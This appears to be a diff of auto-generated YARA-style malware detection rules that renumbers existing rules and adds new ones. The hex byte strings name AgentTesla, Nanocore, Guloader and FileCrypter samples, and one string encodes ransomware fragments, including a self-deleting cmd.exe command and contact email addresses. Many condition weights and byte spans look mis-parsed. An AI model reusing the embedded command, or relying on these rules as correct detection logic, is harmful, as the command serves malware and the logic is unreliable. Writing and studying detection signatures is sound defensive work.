"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,fffffff4 01 fffffff4 01 05 00 21 " @@ -168981,7 +180217,7 @@ rule _InfrastructureShared_14704{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*28265+(#a_74_2 & 1)*26966+(#a_00_4 & 1)*76) >=500 } -rule _InfrastructureShared_14705{ +rule _InfrastructureShared_15666{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -168991,7 +180227,7 @@ rule _InfrastructureShared_14705{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_14706{ +rule _InfrastructureShared_15667{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -169001,7 +180237,7 @@ rule _InfrastructureShared_14706{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_14707{ +rule _InfrastructureShared_15668{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -169012,7 +180248,7 @@ rule _InfrastructureShared_14707{ ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*16762) >=1 } -rule _InfrastructureShared_14708{ +rule _InfrastructureShared_15669{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -169023,7 +180259,7 @@ rule _InfrastructureShared_14708{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*103) >=1 } -rule _InfrastructureShared_14709{ +rule _InfrastructureShared_15670{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -169034,7 +180270,7 @@ rule _InfrastructureShared_14709{ ((#a_54_0 & 1)*18467+(#a_24_1 & 1)*-29952) >=1 } -rule _InfrastructureShared_14710{ +rule _InfrastructureShared_15671{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -169047,7 +180283,7 @@ rule _InfrastructureShared_14710{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*12389+(#a_31_2 & 1)*14385+(#a_74_3 & 1)*28516) >=1 } -rule _InfrastructureShared_14711{ +rule _InfrastructureShared_15672{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -169063,7 +180299,7 @@ rule _InfrastructureShared_14711{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*21899+(#a_6e_2 & 1)*27247+(#a_dd_3 & 1)*4257+(#a_01_4 & 1)*-28547+(#a_08_5 & 1)*-28603+(#a_07_6 & 1)*6288) >=1 } -rule _InfrastructureShared_14712{ +rule _InfrastructureShared_15673{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -169074,7 +180310,7 @@ rule _InfrastructureShared_14712{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-13975) >=2 } -rule _InfrastructureShared_14713{ +rule _InfrastructureShared_15674{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -169085,7 +180321,7 @@ rule _InfrastructureShared_14713{ ((#a_46_0 & 1)*16675+(#a_10_1 & 1)*-28668) >=2 } -rule _InfrastructureShared_14714{ +rule _InfrastructureShared_15675{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -169096,7 +180332,7 @@ rule _InfrastructureShared_14714{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*14712) >=2 } -rule _InfrastructureShared_14715{ +rule _InfrastructureShared_15676{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -169108,7 +180344,7 @@ rule _InfrastructureShared_14715{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*11408+(#a_2d_2 & 1)*14637) >=2 } -rule _InfrastructureShared_14716{ +rule _InfrastructureShared_15677{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -169119,7 +180355,7 @@ rule _InfrastructureShared_14716{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*119) >=2 } -rule _InfrastructureShared_14717{ +rule _InfrastructureShared_15678{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 02 00 03 00 21 " @@ -169131,7 +180367,7 @@ rule _InfrastructureShared_14717{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28479+(#a_89_2 & 1)*-28648) >=2 } -rule _InfrastructureShared_14718{ +rule _InfrastructureShared_15679{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -169143,7 +180379,7 @@ rule _InfrastructureShared_14718{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*27756+(#a_20_2 & 1)*28018) >=3 } -rule _InfrastructureShared_14719{ +rule _InfrastructureShared_15680{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -169153,7 +180389,7 @@ rule _InfrastructureShared_14719{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_14720{ +rule _InfrastructureShared_15681{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -169165,7 +180401,7 @@ rule _InfrastructureShared_14720{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-29948+(#a_3a_2 & 1)*21587) >=3 } -rule _InfrastructureShared_14721{ +rule _InfrastructureShared_15682{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -169176,7 +180412,7 @@ rule _InfrastructureShared_14721{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*0) >=3 } -rule _InfrastructureShared_14722{ +rule _InfrastructureShared_15683{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -169188,7 +180424,7 @@ rule _InfrastructureShared_14722{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*23668+(#a_73_2 & 1)*25441) >=3 } -rule _InfrastructureShared_14723{ +rule _InfrastructureShared_15684{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -169201,7 +180437,7 @@ rule _InfrastructureShared_14723{ ((#a_46_0 & 1)*16675+(#a_55_1 & 1)*12412+(#a_02_2 & 1)*-28557+(#a_65_3 & 1)*12412) >=3 } -rule _InfrastructureShared_14724{ +rule _InfrastructureShared_15685{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -169214,7 +180450,7 @@ rule _InfrastructureShared_14724{ ((#a_54_0 & 1)*18467+(#a_8d_1 & 1)*26115+(#a_5f_2 & 1)*29551+(#a_90_3 & 1)*0) >=3 } -rule _InfrastructureShared_14725{ +rule _InfrastructureShared_15686{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -169226,7 +180462,7 @@ rule _InfrastructureShared_14725{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*30789+(#a_01_3 & 1)*9348) >=3 } -rule _InfrastructureShared_14726{ +rule _InfrastructureShared_15687{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -169240,7 +180476,7 @@ rule _InfrastructureShared_14726{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*25390+(#a_78_2 & 1)*15361+(#a_00_3 & 1)*79+(#a_31_4 & 1)*11620) >=3 } -rule _InfrastructureShared_14727{ +rule _InfrastructureShared_15688{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -169252,7 +180488,7 @@ rule _InfrastructureShared_14727{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*67+(#a_32_3 & 1)*12852) >=4 } -rule _InfrastructureShared_14728{ +rule _InfrastructureShared_15689{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -169262,7 +180498,7 @@ rule _InfrastructureShared_14728{ ((#a_54_0 & 1)*18467) >=4 } -rule _InfrastructureShared_14729{ +rule _InfrastructureShared_15690{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -169273,7 +180509,7 @@ rule _InfrastructureShared_14729{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*99) >=4 } -rule _InfrastructureShared_14730{ +rule _InfrastructureShared_15691{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -169285,7 +180521,7 @@ rule _InfrastructureShared_14730{ ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*12393+(#a_6f_2 & 1)*31344) >=4 } -rule _InfrastructureShared_14731{ +rule _InfrastructureShared_15692{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -169300,23 +180536,37 @@ rule _InfrastructureShared_14731{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*28257+(#a_73_2 & 1)*29285+(#a_74_3 & 1)*25973+(#a_69_4 & 1)*25454+(#a_01_5 & 1)*1) >=4 } -rule _InfrastructureShared_14732{ +rule _InfrastructureShared_15693{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 72 69 68 65 70 74 2e 41 21 64 68 61 00 02 00 21 01 50 72 6f 76 69 64 65 73 20 62 61 73 69 63 20 68 6f 73 74 20 66 75 6e 63 74 69 6f 6e 61 6c 69 74 79 02 00 09 01 45 59 53 65 72 76 69 63 } //16675 $a_64_2 = {77 73 20 48 6f 73 74 20 53 65 72 76 69 63 65 02 00 0b 01 5c 67 6f 64 6f 77 6e 2e 64 6c 6c 02 00 0a 01 5c 68 6f 64 6c 6c 2e 64 6c 6c 02 00 15 01 5c 64 6c 6c 63 61 63 68 65 5c 73 76 63 68 6f 73 74 2e 65 78 65 01 00 0f 01 5c 56 69 65 77 53 63 72 65 65 6e 2e 64 6c 6c 01 00 0f 01 5c 66 69 6c 65 73 79 73 74 65 6d 2e 64 6c 6c 01 00 09 } //26967 - $a_61_3 = {61 2e 62 69 6e 00 00 78 dc 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 43 56 5a 21 4d 54 42 00 01 00 67 03 06 20 80 00 00 00 6f 90 01 03 } //23553 - $a_90_4 = {03 01 25 d0 90 01 03 04 28 90 01 03 0a 13 06 11 05 11 06 20 e8 03 00 00 73 90 01 03 0a 0c 06 08 06 6f 90 01 03 0a 1e 5b 6f 90 01 03 0a 6f 90 01 03 0a 06 08 06 6f 90 01 03 0a 1e 5b 6f 90 01 03 0a 6f 90 01 03 0a 06 17 6f 90 01 03 0a 73 90 01 03 0a 0d 09 06 6f 90 00 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 11 01 47 65 74 54 79 70 65 46 72 6f 6d 48 61 6e 64 6c 65 01 00 08 01 47 65 74 42 79 74 65 73 01 } //7690 - $a_49_5 = {76 } //3072 v - $a_4d_6 = {6d 62 65 72 00 00 78 dc 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 44 45 41 21 4d 54 42 00 01 00 50 01 06 17 58 0a 06 20 00 01 00 00 5d 0a 08 11 06 06 94 58 0c 08 20 00 01 00 00 5d 0c 11 06 06 94 13 04 11 06 06 11 06 08 94 9e 11 06 08 } //27503 - $a_11_7 = {11 06 06 94 11 06 08 94 58 20 00 01 00 00 5d 94 0d 11 07 07 02 07 91 09 61 d2 9c 07 17 58 0b 01 00 09 01 00 47 65 74 54 79 70 65 00 01 00 0e 01 00 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 00 01 00 11 01 47 65 74 54 79 70 65 46 72 6f 6d 48 61 6e 64 6c 65 01 00 23 01 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 44 00 6f 00 6d 00 61 00 69 00 6e 00 00 09 4c 00 6f 00 61 00 64 00 00 78 dc 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 53 69 6e 67 6c 65 46 69 6c 65 48 6f 73 74 41 70 70 } //1041 + $a_61_3 = {61 2e 62 69 6e 00 00 78 dc 00 00 05 00 05 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 61 6e 6f 63 6f 72 65 2e 50 50 21 4d 54 42 00 02 00 6a 03 11 08 8d 0d 00 00 01 13 0a 7e 90 01 03 } //23553 + $a_58_4 = {0a 16 11 08 28 90 01 03 0a 28 90 01 03 0a 11 0a 16 11 0a 8e 69 6f 90 01 03 0a } //516 + $a_90_5 = {03 04 11 0b 6f 90 01 03 0a 7e 90 01 03 04 02 6f 90 01 03 0a 7e 90 01 03 04 6f 90 01 03 0a 17 59 28 90 01 03 0a 16 7e 90 01 03 04 02 1a 28 90 01 03 0a 11 0b 13 09 dd 90 00 01 00 1d 01 67 6c 6a 4e 55 53 73 48 46 44 77 6c 69 44 61 74 74 6b 42 6f 66 45 65 7a 66 63 58 74 44 01 00 0f 01 43 72 65 61 74 65 45 6e 63 72 79 70 74 6f 72 01 00 0c 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 00 } //2835 + $a_00_6 = {00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 43 56 5a 21 4d 54 42 00 01 00 67 03 06 20 80 00 00 00 6f 90 01 03 0a 1e 8d 90 01 03 01 25 d0 90 01 03 04 28 90 01 03 0a 13 06 11 05 11 06 20 e8 03 00 00 73 90 01 03 0a 0c 06 08 06 6f 90 01 03 0a 1e 5b 6f 90 01 03 0a 6f 90 01 03 0a 06 08 06 6f 90 01 03 0a 1e 5b 6f 90 01 03 0a 6f 90 01 03 0a 06 17 6f 90 01 03 0a 73 90 01 03 0a 0d 09 06 6f 90 00 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 11 01 47 65 74 54 79 70 65 46 72 6f 6d 48 61 6e 64 6c 65 01 00 08 01 47 65 74 42 79 74 65 73 01 00 0c 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 00 } //30720 + $a_00_7 = {00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 44 45 41 21 4d 54 42 00 01 00 50 01 06 17 58 0a 06 20 00 01 00 00 5d 0a 08 11 06 06 94 58 0c 08 20 00 01 00 00 5d 0c 11 06 06 94 13 04 11 06 06 11 06 08 94 9e 11 06 08 11 04 9e 11 06 11 06 06 94 11 06 08 94 58 20 00 01 00 00 5d 94 0d 11 07 07 02 07 91 09 61 d2 9c 07 17 58 0b 01 00 09 01 00 47 65 74 54 79 70 65 00 01 00 0e 01 00 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 00 01 00 11 01 47 65 74 54 79 70 65 46 72 6f 6d 48 61 6e 64 6c 65 01 00 23 01 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 44 00 6f 00 6d 00 61 00 69 00 6e 00 00 09 4c 00 6f 00 61 00 64 00 } //30720 + $a_00_8 = {00 05 00 05 00 05 00 21 23 48 53 54 52 3a 53 69 6e 67 6c 65 46 69 6c 65 48 6f 73 74 41 70 70 00 01 00 11 01 43 4c 52 4a 69 74 41 74 74 61 63 68 53 74 61 74 65 01 00 12 01 67 5f 43 4c 52 45 6e 67 69 6e 65 4d 65 74 72 69 63 73 01 00 14 01 4d 65 74 61 44 61 74 61 47 65 74 44 69 73 70 65 6e 73 65 72 01 00 12 01 73 69 6e 67 6c 65 66 69 6c 65 68 6f 73 74 2e 65 78 65 01 00 5e 03 44 3a 5c 61 5c 5f 77 6f 72 6b 5c 31 5c 73 5c 61 72 74 69 66 61 63 74 73 5c 6f 62 6a 5c 63 6f 72 65 63 6c 72 5c 77 69 6e 64 6f 77 73 2e 78 90 02 02 2e 52 65 6c 65 61 73 65 5c 43 6f 72 65 68 6f 73 74 2e 53 74 61 74 69 63 5c 73 69 6e 67 6c 65 66 69 6c 65 68 6f 73 74 2e 70 64 62 90 00 00 } //30720 condition: - ((#a_46_0 & 1)*16675+(#a_64_2 & 1)*26967+(#a_61_3 & 1)*23553+(#a_90_4 & 1)*7690+(#a_49_5 & 1)*3072+(#a_4d_6 & 1)*27503+(#a_11_7 & 1)*1041) >=4 + ((#a_46_0 & 1)*16675+(#a_64_2 & 1)*26967+(#a_61_3 & 1)*23553+(#a_58_4 & 1)*516+(#a_90_5 & 1)*2835+(#a_00_6 & 1)*30720+(#a_00_7 & 1)*30720+(#a_00_8 & 1)*30720) >=4 } -rule _InfrastructureShared_14733{ +rule _InfrastructureShared_15694{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 61 6e 6f 63 6f 72 65 2e 50 50 21 4d 54 42 00 02 00 6a 03 11 08 8d 0d 00 00 01 13 0a 7e 90 01 03 04 02 1a 58 11 0a 16 11 08 28 90 01 03 0a 28 90 01 03 0a 11 0a 16 11 0a } //21539 + $a_90_1 = {03 0a 13 0b 7e 90 01 03 04 11 0b 6f 90 01 03 0a 7e 90 01 03 04 02 6f 90 01 03 0a 7e 90 01 03 04 6f 90 01 03 0a 17 59 28 90 01 03 0a 16 7e 90 01 03 04 02 1a 28 90 01 03 0a 11 0b 13 09 dd 90 00 01 00 1d 01 67 6c 6a 4e 55 53 73 48 46 44 77 6c 69 44 61 74 74 6b 42 6f 66 45 65 7a 66 63 58 74 44 01 00 0f 01 43 72 65 61 74 65 45 6e 63 72 } //27022 + $a_6f_2 = {01 00 0c 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 00 00 78 dc 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 43 56 5a 21 4d 54 42 00 01 00 67 03 06 20 80 00 00 00 6f 90 01 03 0a 1e 8d 90 01 03 01 25 d0 90 01 03 04 28 90 01 03 0a 13 06 11 05 11 06 20 e8 03 00 00 73 90 01 03 0a 0c 06 08 } //28793 + $a_01_3 = {03 0a 1e 5b 6f 90 01 03 0a 6f 90 01 03 0a 06 08 06 6f 90 01 03 0a 1e 5b 6f 90 01 03 0a 6f 90 01 03 0a 06 17 6f 90 01 03 0a 73 90 01 03 0a 0d 09 06 6f 90 00 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 11 01 47 65 74 54 79 70 65 46 72 6f 6d 48 61 6e 64 6c 65 01 00 08 01 47 65 74 42 79 74 65 73 01 00 0c 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 00 00 78 dc 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e } //28422 + condition: + ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*27022+(#a_6f_2 & 1)*28793+(#a_01_3 & 1)*28422) >=5 + +} +rule _InfrastructureShared_15695{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -169330,7 +180580,7 @@ rule _InfrastructureShared_14733{ ((#a_46_0 & 1)*16675+(#a_0c_1 & 1)*769+(#a_03_2 & 1)*-28561+(#a_03_3 & 1)*-28561+(#a_6f_4 & 1)*2054) >=5 } -rule _InfrastructureShared_14734{ +rule _InfrastructureShared_15696{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -169343,7 +180593,7 @@ rule _InfrastructureShared_14734{ ((#a_46_0 & 1)*16675+(#a_11_1 & 1)*1553+(#a_58_2 & 1)*2054+(#a_4a_4 & 1)*19523) >=5 } -rule _InfrastructureShared_14735{ +rule _InfrastructureShared_15697{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -169357,20 +180607,34 @@ rule _InfrastructureShared_14735{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25971+(#a_90_2 & 1)*25712+(#a_00_3 & 1)*25715+(#a_65_4 & 1)*385) >=5 } -rule _InfrastructureShared_14736{ +rule _InfrastructureShared_15698{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 53 31 32 21 4d 54 42 00 01 00 2c 81 01 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 4c 69 6c 79 70 61 64 47 61 72 64 65 6e 73 44 61 74 61 53 65 74 2e 78 73 64 01 } //18467 - $a_01_1 = {67 65 74 5f 44 58 43 43 43 43 43 5f 57 51 45 44 57 45 44 57 45 44 57 45 44 45 44 45 44 45 57 01 00 1e 81 01 4c 69 6c 79 70 61 64 47 61 72 64 65 6e 73 43 6f 6e 6e 65 63 74 69 6f 6e 53 74 72 69 6e 67 01 00 21 81 01 56 69 73 75 61 6c 42 61 73 69 63 46 69 6e 61 6c 50 72 6f 6a 65 63 74 2e 52 65 73 6f 75 72 63 65 73 01 00 0a 81 01 47 65 74 4d 65 74 68 6f 64 73 00 00 78 dc 00 00 06 00 06 00 } //7936 - $a_23_2 = {4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 43 72 79 70 74 65 72 2e 53 45 4c 21 4d } //5 LF:Trojan:Win32/FileCrypter.SEL!M - $a_8b_4 = {8b c7 } //12800 + $a_01_1 = {67 65 74 5f 44 58 43 43 43 43 43 5f 57 51 45 44 57 45 44 57 45 44 57 45 44 45 44 45 44 45 57 01 00 1e 81 01 4c 69 6c 79 70 61 64 47 61 72 64 65 6e 73 43 6f 6e 6e 65 63 74 69 6f 6e 53 74 72 69 6e 67 01 00 21 81 01 56 69 73 75 61 6c 42 61 73 69 63 46 69 6e 61 6c 50 72 6f 6a 65 63 74 2e 52 65 73 6f 75 72 63 65 73 01 00 0a 81 01 47 65 74 4d 65 74 68 6f 64 73 00 00 78 dc 00 00 05 00 05 00 } //7936 + $a_23_2 = {53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4a 4a 36 31 34 21 4d 54 42 00 01 00 26 } //6 + $a_6e_3 = {64 6d 6e 69 6e 67 65 72 6e 65 73 5c 73 6b 72 6d 66 65 6c 74 73 5c 62 65 73 6b 69 6b 6e 69 6e 67 65 6e 73 01 00 2a 81 01 5c 52 65 6b 6f 6d 70 65 6e 73 61 74 69 6f 6e 65 72 73 5c 4f 76 65 72 6e 61 74 6e 69 6e 67 73 6d 75 6c 69 67 68 65 64 65 72 73 01 00 17 81 01 5c 74 65 65 6e 69 65 5c 72 65 74 6f 75 63 68 65 72 6e } //385 + $a_6c_4 = {01 00 0b 81 01 72 65 74 72 6f 66 6c 65 6b 73 65 01 00 17 81 01 73 61 6c 69 6e 69 74 79 20 6d 75 72 69 6e 67 65 72 6e 65 2e 65 78 65 01 00 0c 81 01 65 6b 73 70 61 6e 73 69 6f 6e 65 6e 00 00 78 dc 00 00 06 00 06 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 43 72 79 70 } //11877 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*7936+(#a_23_2 & 1)*5+(#a_8b_4 & 1)*12800) >=5 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*7936+(#a_23_2 & 1)*6+(#a_6e_3 & 1)*385+(#a_6c_4 & 1)*11877) >=5 } -rule _InfrastructureShared_14737{ +rule _InfrastructureShared_15699{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4a 4a 36 31 34 21 4d 54 42 00 01 00 26 81 01 69 6e 64 64 6d 6e 69 6e 67 65 72 6e 65 73 5c 73 6b 72 6d 66 65 6c 74 73 5c 62 65 73 6b 69 6b 6e 69 6e 67 65 6e 73 01 00 2a 81 01 5c 52 65 6b 6f 6d 70 65 } //18467 + $a_74_1 = {6f 6e 65 72 73 5c 4f 76 65 72 6e 61 74 6e 69 6e 67 73 6d 75 6c 69 67 68 65 64 65 72 73 01 00 17 81 01 5c 74 65 65 6e 69 65 5c 72 65 74 6f 75 63 68 65 72 6e 65 2e 64 6c 6c 01 00 0b 81 01 72 65 74 72 6f 66 6c 65 6b 73 65 01 00 17 81 01 73 61 6c 69 6e 69 74 79 20 6d 75 72 69 6e 67 65 72 6e 65 } //29550 + $a_65_2 = {00 0c 81 01 65 6b 73 70 61 6e 73 69 6f 6e 65 6e 00 00 78 dc 00 00 06 00 06 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 43 72 79 70 74 65 72 2e 53 45 4c 21 4d 54 42 00 02 00 32 02 8b cf 8b c7 c1 e9 90 01 01 03 4d 90 01 01 c1 e0 90 01 01 03 45 90 01 01 33 c8 8d 04 90 01 01 33 c8 8d 9b 47 86 c8 61 8b 45 f4 2b f1 83 ea 01 75 90 } //25902 + $a_70_4 = {74 6f 20 64 65 63 72 79 70 74 2e 74 78 74 02 00 35 00 63 6d 64 2e 65 78 65 20 2f 43 20 70 69 6e 67 20 31 2e 31 2e 31 2e 31 20 2d 6e 20 35 20 2d 77 20 33 30 30 30 20 3e 20 4e 75 6c 20 26 20 44 65 6c 20 22 25 73 22 01 00 10 00 6a 75 6e 64 6d 64 40 63 6f 63 6b 2e 6c 69 21 21 01 00 0f 00 74 75 6b 69 31 37 40 71 71 2e 63 6f 6d } //25928 + condition: + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*29550+(#a_65_2 & 1)*25902+(#a_70_4 & 1)*25928) >=5 + +} +rule _InfrastructureShared_15700{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -169383,7 +180647,7 @@ rule _InfrastructureShared_14737{ ((#a_46_0 & 1)*16675+(#a_2b_1 & 1)*17803+(#a_00_3 & 1)*101+(#a_52_4 & 1)*21320) >=6 } -rule _InfrastructureShared_14738{ +rule _InfrastructureShared_15701{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -169398,7 +180662,7 @@ rule _InfrastructureShared_14738{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*97+(#a_74_2 & 1)*25970+(#a_61_3 & 1)*21343+(#a_2e_4 & 1)*26199+(#a_72_5 & 1)*385) >=6 } -rule _InfrastructureShared_14739{ +rule _InfrastructureShared_15702{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -169413,7 +180677,7 @@ rule _InfrastructureShared_14739{ ((#a_54_0 & 1)*18467+(#a_71_1 & 1)*288+(#a_75_2 & 1)*29541+(#a_73_3 & 1)*26212+(#a_73_4 & 1)*26724+(#a_50_5 & 1)*21331) >=6 } -rule _InfrastructureShared_14740{ +rule _InfrastructureShared_15703{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -169428,7 +180692,7 @@ rule _InfrastructureShared_14740{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*-32480+(#a_66_2 & 1)*25700+(#a_66_3 & 1)*25702+(#a_72_4 & 1)*21587+(#a_67_5 & 1)*26994) >=6 } -rule _InfrastructureShared_14741{ +rule _InfrastructureShared_15704{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -169443,7 +180707,7 @@ rule _InfrastructureShared_14741{ ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*29264+(#a_61_2 & 1)*29550+(#a_6c_3 & 1)*30521+(#a_54_4 & 1)*21076+(#a_6f_5 & 1)*28531) >=6 } -rule _InfrastructureShared_14742{ +rule _InfrastructureShared_15705{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -169458,7 +180722,7 @@ rule _InfrastructureShared_14742{ ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*26215+(#a_61_2 & 1)*20993+(#a_69_3 & 1)*24941+(#a_5c_4 & 1)*25964+(#a_20_5 & 1)*29806) >=6 } -rule _InfrastructureShared_14743{ +rule _InfrastructureShared_15706{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 